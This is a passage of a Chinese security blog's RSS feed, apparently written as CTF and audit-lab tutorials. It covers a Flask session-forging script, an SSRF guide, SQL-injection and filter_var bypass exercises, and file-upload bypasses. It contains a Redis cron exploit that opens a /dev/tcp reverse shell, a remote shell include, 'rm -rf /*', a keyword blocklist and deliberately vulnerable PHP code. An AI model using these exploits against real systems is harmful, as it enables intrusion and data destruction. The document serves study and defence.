        read_obj = os.popen(&#x27;cat &#x27; + extract_path + &#x27;/*&#x27;)
        file = read_obj.read()
        read_obj.close()
        os.system(&#x27;rm -rf &#x27; + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode(&#x27;aGN0Zg==&#x27;).decode(&#x27;utf-8&#x27;)) != -1):
            return redirect(url_for(&#x27;index&#x27;, error=1))
    return Response(file)


if __name__ == &#x27;__main__&#x27;:
    #app.run(debug=True)
    app.run(host=&#x27;127.0.0.1&#x27;, debug=True, port=10008)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;再把模版html读一下，虽然知道flag在flag.py里，但是你想直接读出来，是不可能的，出题人已经知道你这种“骚操作”，特地把这种情况排除了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;if(file != None):
    if(file.find(base64.b64decode(&#x27;aGN0Zg==&#x27;).decode(&#x27;utf-8&#x27;)) != -1):
        return redirect(url_for(&#x27;index&#x27;, error=1))&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;所以只能从admin入手。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;{% if user %}
        &amp;lt;br&amp;gt;
        &amp;lt;br&amp;gt;
        &amp;lt;h1&amp;gt;Hello, {{ user }}. &amp;lt;/h1&amp;gt;

        {% if user == &#x27;admin&#x27; %}
        Your flag: &amp;lt;br&amp;gt;
        {{ flag  }}

        {% else %}
        &amp;lt;br&amp;gt;
        &amp;lt;br&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;solution&quot;&gt;solution&lt;/h3&gt;
&lt;p&gt;这下子解题思路就明确了：admin用户不能登陆，只能伪造session了。&lt;br&gt;
再观察一下源码对session的构造&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;random.seed(uuid.getnode())
app = Flask(__name__)
app.config[&#x27;SECRET_KEY&#x27;] = str(random.random()*100)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;uuid.getnode()&lt;/code&gt;获得10进制mac地址，这个也可以通过&lt;code&gt;/sys/class/net/eth0/address&lt;/code&gt;来读取&lt;/p&gt;
&lt;p&gt;然后自己构造一个flask，配上伪造的session即可得到flag&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import random
import requests


url = &#x27;&#x27;
mac = &#x27;&#x27;
mac = int(mac, 16) #要进行进制转换
print(mac)
app = Flask(__name__)
random.seed(mac)
key = random.random()*100
app.config[&#x27;SECRET_KEY&#x27;] = str(key)
payload = {&#x27;username&#x27; : &#x27;admin&#x27;}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)

cookies = {&#x27;session&#x27; : session}
rq = requests.get(url, cookies=cookies)
print(session)
if &#x27;hctf&#x27; in rq.text:
    print(rq.text)&lt;/code&gt;&lt;/pre&gt;</description>
    <pubDate>Wed, 28 Nov 2018 23:58:38 +0800</pubDate>
  </item>
  <item>
    <title>
      Server-Side Request Forgery
    </title>
    <link>https://www.0akarma.com/SSRF.html</link>
    <description>&lt;h2 id=&quot;0x01-background&quot;&gt;0x01 Background&lt;/h2&gt;
&lt;h3 id=&quot;what-is-ssrf&quot;&gt;What is SSRF ?&lt;/h3&gt;
&lt;p&gt;SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）&lt;/p&gt;
&lt;p&gt;SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15407049154594.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;curl-trick-or-treat&quot;&gt;cURL -&amp;gt; Trick or Treat ?&lt;/h3&gt;
&lt;p&gt;如果服务器端请求没有用cURL做有效的限制的话，被留下了后门&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;php
&amp;lt;?php include(&#x27;&lt;a href=&quot;https://0akarma.me/7shell.php&#x27;);&quot; rel=&quot;nofollow&quot;&gt;https://0akarma.me/7shell.php&#x27;);&lt;/a&gt; ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;亦或这样，那不就gg了……&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php system(&quot;rm -rf /*&quot;); ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/ref.curl.php&quot; rel=&quot;nofollow&quot;&gt;cURL Functions&lt;/a&gt; &lt;/p&gt;
&lt;h2 id=&quot;0x02-vulnerability-type&quot;&gt;0x02 Vulnerability Type&lt;/h2&gt;
&lt;h3 id=&quot;gopher&quot;&gt;gopher 万金油协议&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;基本协议格式：&lt;code&gt;URL:gopher://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/&amp;lt;gopher-path&amp;gt;&lt;/code&gt;  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;vps 监听 2333 端口&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;nc -lvp 2333&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后浏览器访问：http://localhost/SSRF/ssrf.php?url=gopher://your_vps_ip:2333/_gopher&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;root@0aKarmA:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [your_vps_ip] port 2333 [tcp/*] accepted (family 2, sport 52130)
gopher&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;dict&quot;&gt;dict&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;dict协议，字典服务器协议，&lt;a href=&quot;http://www.dict.org/rfc2229.txt&quot; rel=&quot;nofollow&quot;&gt;A Dictionary Server Protocol&lt;/a&gt;&lt;br&gt;
dict是基于查询响应的TCP协议  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以查看相应端口信息&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -v ‘&lt;a href=&quot;https://0akarma.me/ssrf.php?url=dict://ip:22/info’&quot; rel=&quot;nofollow&quot;&gt;https://0akarma.me/ssrf.php?url=dict://ip:22/info’&lt;/a&gt;  # 查看ssh的banner信息
curl -v ‘&lt;a href=&quot;https://0akarma.me/ssrf.php?url=dict://ip:6379/info’&quot; rel=&quot;nofollow&quot;&gt;https://0akarma.me/ssrf.php?url=dict://ip:6379/info’&lt;/a&gt;    # 查看redis相关配置&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;file&quot;&gt;file&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;本地文件传输协议，File Protocol。主要用于访问本地计算机中的文件。&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa767731(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN File Protocol&lt;/a&gt;&lt;br&gt;
基本格式: file:///path&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;httphttps&quot;&gt;http/https&lt;/h3&gt;
&lt;p&gt;检测主机是否存活&lt;/p&gt;
&lt;h2 id=&quot;0x03-vulnerability-utilization&quot;&gt;0x03 Vulnerability Utilization&lt;/h2&gt;
&lt;h3 id=&quot;gopher_1&quot;&gt;gopher&lt;/h3&gt;
&lt;h4 id=&quot;redis&quot;&gt;Redis&lt;/h4&gt;
&lt;p&gt;Redis 任意文件写入现在已经成为十分常见的一个漏洞，一般内网中会存在 root 权限运行的 Redis 服务，利用 Gopher 协议攻击内网中的 Redis，这无疑可以隔山打牛，直杀内网。&lt;br&gt;
首先了解一下通常攻击 Redis 的命令，然后转化为 Gopher 可用的协议。常见的 exp 是这样的：&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;redis-cli -h $1 flushall
echo -e &quot;\n\n*/1 * * * * bash -i &amp;gt;&amp;amp; /dev/tcp/172.19.23.228/2333 0&amp;gt;&amp;amp;1\n\n&quot;|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;mysql&quot;&gt;Mysql&lt;/h4&gt;
&lt;p&gt;结合Gopher系统攻击内网未授权MySQL，并且获取系统shell的方法&lt;/p&gt;
&lt;h4 id=&quot;fastcgi&quot;&gt;FastCGI&lt;/h4&gt;
&lt;p&gt;反弹shell&lt;/p&gt;
&lt;h4 id=&quot;web&quot;&gt;Web&lt;/h4&gt;
&lt;p&gt;可以向内部任意主机的任意端口发送精心构造的数据包{payload}&lt;/p&gt;
&lt;h4 id=&quot;xss&quot;&gt;XSS&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://ysc21.github.io/blog/2016-09-30-web-dctf-300.html&quot; rel=&quot;nofollow&quot;&gt;web - dctf - web300 - SSRF 和 XSS 的一個例子&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158&quot; rel=&quot;nofollow&quot;&gt;How i converted SSRF TO XSS in jira&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;_1&quot;&gt;协议注入&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf&quot; rel=&quot;nofollow&quot;&gt;Exploiting URL Parser in&lt;br&gt;
Trending Programming Languages&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x04-repair&quot;&gt;0x04 Repair&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;禁止跳转  &lt;/li&gt;
&lt;li&gt;过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。  &lt;/li&gt;
&lt;li&gt;禁用不需要的协议，仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题  &lt;/li&gt;
&lt;li&gt;设置URL白名单或者限制内网IP（使用gethostbyname()判断是否为内网IP）  &lt;/li&gt;
&lt;li&gt;限制请求的端口为http常用的端口，比如 80、443、8080、8090. &lt;/li&gt;
&lt;li&gt;统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。  &lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;0x05-materials&quot;&gt;0x05 Materials&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html&quot; rel=&quot;nofollow&quot;&gt;Fastcgi协议分析 &amp;amp;&amp;amp; PHP-FPM未授权访问漏洞 &amp;amp;&amp;amp; Exp编写&lt;br&gt;
&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://github.com/Kevin-sa/SSRF_ex&quot; rel=&quot;nofollow&quot;&gt;SSRF_exp&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit&quot; rel=&quot;nofollow&quot;&gt;SSRF Bible&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://github.com/tarunkant/Gopherus&quot; rel=&quot;nofollow&quot;&gt;Gopherus&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Wed, 24 Oct 2018 07:15:41 +0800</pubDate>
  </item>
  <item>
    <title>
      PHP-Audit-Labs 复现
    </title>
    <link>https://www.0akarma.com/HR-audit.html</link>
    <description>&lt;h1 id=&quot;day-1-wish-list&quot;&gt;Day 1 Wish List&lt;/h1&gt;
&lt;h2 id=&quot;in_array&quot;&gt;in_array()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;(PHP 4, PHP 5, PHP 7)&lt;/p&gt;
&lt;p&gt;in_array — 检查数组中是否存在某个值&lt;/p&gt;
&lt;p&gt;bool in_array ( &lt;a href=&quot;http://php.net/manual/zh/language.pseudo-types.php#language.types.mixed&quot; rel=&quot;nofollow&quot;&gt;mixed&lt;/a&gt; &lt;code&gt;$needle（待搜索值）&lt;/code&gt; , array &lt;code&gt;$haystack（待搜索的数组）&lt;/code&gt; [, bool &lt;code&gt;$strict&lt;/code&gt; = &lt;strong&gt;FALSE&lt;/strong&gt; ] )&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731877779963.jpg&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因为php是弱类型语言，in_array()第三个参数如果没有设置TRUE的话，就不会检查needle和haystack类型是否相同，若不同就会进行强制转换，进而导致绕过，造成任意文件上传。&lt;/p&gt;
&lt;h3 id=&quot;-sql-injection&quot;&gt;课后练习--SQL Injection&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;//index.php
&amp;lt;?php
include &#x27;config.php&#x27;;
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn-&amp;gt;connect_error) {
    die(&quot;连接失败: &quot;);
}

$sql = &quot;SELECT COUNT(*) FROM users&quot;;
$whitelist = array();
$result = $conn-&amp;gt;query($sql);
if($result-&amp;gt;num_rows &amp;gt; 0){
    $row = $result-&amp;gt;fetch_assoc();
    $whitelist = range(1, $row[&#x27;COUNT(*)&#x27;]);
}

$id = stop_hack($_GET[&#x27;id&#x27;]);
$sql = &quot;SELECT * FROM users WHERE id=$id&quot;;

if (!in_array($id, $whitelist)) {
    die(&quot;id $id is not in whitelist.&quot;);
}

$result = $conn-&amp;gt;query($sql);
if($result-&amp;gt;num_rows &amp;gt; 0){
    $row = $result-&amp;gt;fetch_assoc();
    echo &quot;&amp;lt;center&amp;gt;&amp;lt;table border=&#x27;1&#x27;&amp;gt;&quot;;
    foreach ($row as $key =&amp;gt; $value) {
        echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;$key&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;br&amp;gt;&quot;;
        echo &quot;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;$value&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;br&amp;gt;&quot;;
    }
    echo &quot;&amp;lt;/table&amp;gt;&amp;lt;/center&amp;gt;&quot;;
}
else{
    die($conn-&amp;gt;error);
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;//config.php
&amp;lt;?php  
$servername = &quot;localhost&quot;;
$username = &quot;fire&quot;;
$password = &quot;fire&quot;;
$dbname = &quot;day1&quot;;

function stop_hack($value){
    $pattern = &quot;insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval&quot;;
    $back_list = explode(&quot;|&quot;,$pattern);
    foreach($back_list as $hack){
        if(preg_match(&quot;/$hack/i&quot;, $value))
            die(&quot;$hack detected!&quot;);
    }
    return $value;
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,&#x27;Lucia&#x27;,&#x27;Lucia@hongri.com&#x27;,3000);
INSERT INTO users VALUES(2,&#x27;Danny&#x27;,&#x27;Danny@hongri.com&#x27;,4500);
INSERT INTO users VALUES(3,&#x27;Alina&#x27;,&#x27;Alina@hongri.com&#x27;,2700);
INSERT INTO users VALUES(4,&#x27;Jameson&#x27;,&#x27;Jameson@hongri.com&#x27;,10000);
INSERT INTO users VALUES(5,&#x27;Allie&#x27;,&#x27;Allie@hongri.com&#x27;,6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES(&#x27;HRCTF{1n0rrY_i3_Vu1n3rab13}&#x27;);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;此题包含一个in_array和一个sql报错注入，但是这里的in_array绕过与否，对拿flag没什么影响。&lt;/p&gt;
&lt;h4 id=&quot;in_array_1&quot;&gt;in_array()&lt;/h4&gt;
&lt;p&gt;这里的白名单是用户的id，1～5，如果id不在白名单内的话，会返回&lt;code&gt;id $id is not in whitelist.&lt;/code&gt; 绕过，只需以数字开头，后面随意，即会返回&lt;code&gt;Unknown cloumn &#x27;&#x27; in &#x27;where clause&#x27;&lt;/code&gt; 即绕过成功。&lt;/p&gt;
&lt;h4 id=&quot;updatexml&quot;&gt;updatexml()&lt;/h4&gt;
&lt;p&gt;由于stop_hack()函数里面过滤了很多关键字，所以很多注入都无法实现，这里我用updatexml()，但是字符串拼接函数也被禁用了，然后又get到了一些新姿势&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MAKE_SET(&lt;em&gt;bits&lt;/em&gt;,&lt;em&gt;str1&lt;/em&gt;,&lt;em&gt;str2&lt;/em&gt;,...)&lt;/strong&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731877920572.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以按照上图来理解&lt;/p&gt;
&lt;p&gt;也可以理解为：&lt;/p&gt;
&lt;p&gt;bits的参数会转为二进制，如，1为，0001,倒过来排序，则为1000,将bits后面的字符串str1,str2等，放置在这个倒过来的二进制排序中，取出值为1对应的字符串，则得到welcome；如， 1 | 4  -&amp;gt;  0001 | 0100 = 0101 倒序排列的到 1010 得到 welcome,w3r，还有要注意的就是NULL，不取出 ，只有二进制为1时才会取出对应字符串 。&lt;/p&gt;
&lt;p&gt;还可以找到类似的函数：lpad()、reverse()、repeat()、export_set()（&lt;strong&gt;lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中，必须至少含有一个特殊字符，否则会漏掉一些数据&lt;/strong&gt;）。&lt;/p&gt;
&lt;h4 id=&quot;resources&quot;&gt;Resources:&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2160&quot; rel=&quot;nofollow&quot;&gt;updatexml injection without concat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2451&quot; rel=&quot;nofollow&quot;&gt;[红日安全]代码审计Day1 - in_array函数缺陷&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&quot;day-2-twig&quot;&gt;Day 2 Twig&lt;/h1&gt;
&lt;h2 id=&quot;twig&quot;&gt;Twig模版引擎&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.kancloud.cn/yunye/twig-cn/159454&quot; rel=&quot;nofollow&quot;&gt;Twig 中文文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是一个模版语言，相当于把一些冗长的语句简化成模版，本题{{link|escape}}，只是相当于用php内置函数htmlspecialchars去转义字符。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;htmlspecialchars&lt;/p&gt;
&lt;p&gt;(PHP 4, PHP 5, PHP 7)&lt;/p&gt;
&lt;p&gt;htmlspecialchars — 将特殊字符转换为 HTML 实体&lt;/p&gt;
&lt;p&gt;string htmlspecialchars ( string &lt;code&gt;$string&lt;/code&gt; [, int &lt;code&gt;$flags&lt;/code&gt; = ENT_COMPAT | ENT_HTML401 [, string &lt;code&gt;$encoding&lt;/code&gt; = ini_get(&quot;default_charset&quot;) [, bool &lt;code&gt;$double_encode&lt;/code&gt; = &lt;strong&gt;TRUE&lt;/strong&gt; ]]] )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;filter_var&quot;&gt;filter_var()&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;filter_var&lt;/p&gt;
&lt;p&gt;(PHP 5 &amp;gt;= 5.2.0, PHP 7)&lt;/p&gt;
&lt;p&gt;filter_var — 使用特定的过滤器过滤一个变量&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://php.net/manual/zh/language.pseudo-types.php#language.types.mixed&quot; rel=&quot;nofollow&quot;&gt;mixed&lt;/a&gt; filter_var ( &lt;a href=&quot;http://php.net/manual/zh/language.pseudo-types.php#language.types.mixed&quot; rel=&quot;nofollow&quot;&gt;mixed&lt;/a&gt; &lt;code&gt;$variable（待过滤变量）&lt;/code&gt; [, int &lt;code&gt;$filter（过滤类型）&lt;/code&gt; = FILTER_DEFAULT [, &lt;a href=&quot;http://php.net/manual/zh/language.pseudo-types.php#language.types.mixed&quot; rel=&quot;nofollow&quot;&gt;mixed&lt;/a&gt; &lt;code&gt;$options&lt;/code&gt; ]] )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这题用js伪协议好像绕过不了～&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731878037609.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731264108083/15731878150318.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-ssrf&quot;&gt;课后练习--SSRF&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;// index.php
&amp;lt;?php 
$url = $_GET[&#x27;url&#x27;];
if(isset($url) &amp;amp;&amp;amp; filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match(&#x27;/&lt;a href=&quot;http://sec-redclub.com&quot; rel=&quot;nofollow&quot;&gt;sec-redclub.com&lt;/a&gt;$/&#x27;,$site_info[&#x27;host&#x27;])){
        exec(&#x27;curl &quot;&#x27;.$site_info[&#x27;host&#x27;].&#x27;&quot;&#x27;, $result);
        echo &quot;&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;You have curl {$site_info[&#x27;host&#x27;]} successfully!&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
              &amp;lt;center&amp;gt;&amp;lt;textarea rows=&#x27;20&#x27; cols=&#x27;90&#x27;&amp;gt;&quot;;
        echo implode(&#x27; &#x27;, $result);
    }
    else{
        die(&quot;&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;Error: Host not allowed&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&quot;);
    }

}
else{
    echo &quot;&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;Just curl &lt;a href=&quot;http://sec-redclub.com&quot; rel=&quot;nofollow&quot;&gt;sec-redclub.com&lt;/a&gt;!&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;
          &amp;lt;center&amp;gt;&amp;lt;h3&amp;gt;For example:?url=&lt;a href=&quot;http://sec-redclub.com&quot; rel=&quot;nofollow&quot;&gt;http://sec-redclub.com&lt;/a&gt;&amp;lt;/h3&amp;gt;&amp;lt;/center&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;// f1agi3hEre.php
&amp;lt;?php  
$flag = &quot;HRCTF{f1lt3r_var_1s_s0_c00l}&quot;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;本题要构造以sec-redclub.com结尾，而且还要绕过filter_var，但是绕过之后，执行命令发现没有反应～～不晓得什么情况～&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731878258838.jpg&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;resources_1&quot;&gt;Resources：&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/101058#h2-4&quot; rel=&quot;nofollow&quot;&gt;SSRF技巧之如何绕过filter_var( )&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.freebuf.com/articles/web/137923.html&quot; rel=&quot;nofollow&quot;&gt;浅谈CTF中命令执行与绕过的小技巧&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Mon, 22 Oct 2018 08:33:08 +0800</pubDate>
  </item>
  <item>
    <title>
      Arbitrary File Upload
    </title>
    <link>https://www.0akarma.com/ArbFileUpload.html</link>
    <description>&lt;h2 id=&quot;0x00&quot;&gt;0x00 上传检测流程概述&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15418180617757.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;0x01-js&quot;&gt;0x01 客户端检测绕过（js检测）&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
       function checkFile() {
            var file = document.getElementsByName(&#x27;upfile&#x27;)[0].value;
            if (file == null || file == &quot;&quot;) {
                alert(&quot;你还没有选择任何文件，不能上传!&quot;);
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = &quot;.jpg|.jpeg|.png|.gif|.bmp|&quot;;
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf(&quot;.&quot;));
            //alert(ext_name);
            //alert(ext_name + &quot;|&quot;);
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name + &quot;|&quot;) == -1) {
                var errMsg = &quot;该文件不允许上传，请上传&quot; + allow_ext + &quot;类型的文件,当前文件类型为：&quot; +     ext_name;
                alert(errMsg);
                return false;
            }
        }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;绕过姿势：burp抓包修改后提交&lt;/p&gt;
&lt;h2 id=&quot;0x02&quot;&gt;0x02 服务端检测绕过&lt;/h2&gt;
&lt;h3 id=&quot;mimecontent-type&quot;&gt;mime类型检测(content-type)&lt;/h3&gt;
&lt;p&gt;文件头content-type字段检验。&lt;a href=&quot;http://www.w3school.com.cn/media/media_mimeref.asp&quot; rel=&quot;nofollow&quot;&gt;MIME类型格式&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
if($_FILE[&#x27;userfile&#x27;][&#x27;type&#x27;] != &quot;image/gif&quot;){ //检测content-type
    echo &quot;sorry,we only allow uploading GIF images&quot;;
    exit;
}
else
{
    echo &quot;Upload success!&quot;;
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;绕过姿势：burp抓包，改content-type的值为image/gif，即可&lt;/p&gt;
&lt;h3 id=&quot;_1&quot;&gt;目录路径检测&lt;/h3&gt;
&lt;p&gt;上传的数据包中，如果存在path(或者其他名称)等能够操作上传路径的参数，修改该参数配合解析漏洞Get Webshell,测试代码&lt;br&gt;
条件：php版本5.3.4以下；gpc关闭&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
error_reporting(0);

if(isset($_POST[&#x27;upload&#x27;]))
{
    $ext_arr = array(&#x27;flv&#x27;,&#x27;swf&#x27;,&#x27;mp3&#x27;,&#x27;mp4&#x27;,&#x27;3gp&#x27;,&#x27;zip&#x27;,&#x27;rar&#x27;,&#x27;gif&#x27;,&#x27;jpg&#x27;,&#x27;png&#x27;,&#x27;bmp&#x27;);
    $file_ext = substr($_FILES[&#x27;file&#x27;][&#x27;name&#x27;],strpos($_FILES[&#x27;file&#x27;][&#x27;name&#x27;],&quot;.&quot;)+1);
    if(in_array($file_ext,$ext_arr))
    {
        $tempFile = $_FILES[&#x27;file&#x27;][&#x27;tmp_name&#x27;];
        //这里的$_REQUEST[&#x27;jieduan&#x27;]造成可以利用截断上传
        $targePath = $_SERVER[&#x27;DOCUMENT_ROOT&#x27;].$_REQUEST[&#x27;jieduan&#x27;].rand(10,99).
            date(&#x27;YmdHis&#x27;).&quot;.&quot;.$file_ext;
        if(move_uploaded_file($tempFile,$targePath))
        {
            echo &#x27;上传成功&#x27;.&#x27;&amp;lt;br&amp;gt;&#x27;;
            echo &#x27;路径&#x27;.$targePath;
        }
        else
        {
            echo(&quot;上传失败&quot;);
        }
    }
else
{
    echo(&quot;上传失败&quot;);
}
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;_2&quot;&gt;文件拓展名检测&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
$type = array(&quot;php&quot;,&quot;php3&quot;);
//判断上传文件类型
